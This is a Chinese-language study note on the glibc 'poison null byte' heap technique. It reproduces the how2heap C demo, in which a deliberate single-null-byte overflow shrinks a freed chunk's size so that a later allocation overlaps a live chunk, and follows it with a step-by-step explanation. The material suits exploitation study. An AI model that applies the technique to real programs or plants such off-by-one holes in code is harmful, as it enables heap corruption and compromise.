poison null byte

想法

这个好像是off_by_one的用法之一,目的是为了通过改变堆大小使得指针重叠,从而造成可用堆的一部分在bin中。

样例解析

from how2heap

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;
    a = (uint8_t*) malloc(0x100);
    printf("a: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    b = (uint8_t*) malloc(0x200);
    printf("b: %p\n", b);
    c = (uint8_t*) malloc(0x100);
    printf("c: %p\n", c);
    barrier =  malloc(0x100);
    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    *(size_t*)(b+0x1f0) = 0x200;
    free(b);
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    printf("b.size: %#lx\n", *b_size_ptr);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
    printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
    printf("b1: %p\n",b1);
    printf("Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
    printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    printf("We malloc 'b2', our 'victim' chunk.\n");
    b2 = malloc(0x80);
    printf("b2: %p\n",b2);
    memset(b2,'B',0x80);
    printf("Current b2 content:\n%s\n",b2);
    printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
    free(b1);
    free(c);
    printf("Finally, we allocate 'd', overlapping 'b2'.\n");
    d = malloc(0x300);
    printf("d: %p\n",d);
    printf("Now 'd' and 'b2' overlap.\n");
    memset(d,'D',0x300);
    printf("New b2 content:\n%s\n",b2);
    assert(strstr(b2, "DDDDDDDDDDDD"));
}

解释

  1. 创建了三个块a,b,c和一个barrier为了防止合并
  2. 对chunk b的最后构造了一个假的prev_size,设置为0x200,此时c的prev_size并没有被改变
  3. 把b给free了
  4. 利用chunk a的off_by_one将b的大小那一块从0x211改成0x200
  5. 创建b1,这时候会修改假的prev_size的大小(因为b现在被认为是只有0x200的大小了)
  6. 创建b2,注意b2+b1的大小应该<=0x200-0x20,因为如果unsorted bin中剩下的空间小于0x20就不会被划分了
  7. 而后把b1给free掉,并且free掉c,这时候出现了问题:

    • 刚刚创建b1和b2修改的是假的prev_size,但是在free(c)的时候是用的真的,那个prev_size是整个b的大小
    • 并且由于b,c相连,并且b1(b)确实被free了,所以会发生unlink,把整个b合并掉
  8. 申请一个比较大的块,这时候会包含b2(因为切割的是b和c合并后的块)
  9. 于是出现了b2有两个指针可写的问题,可以进行攻击!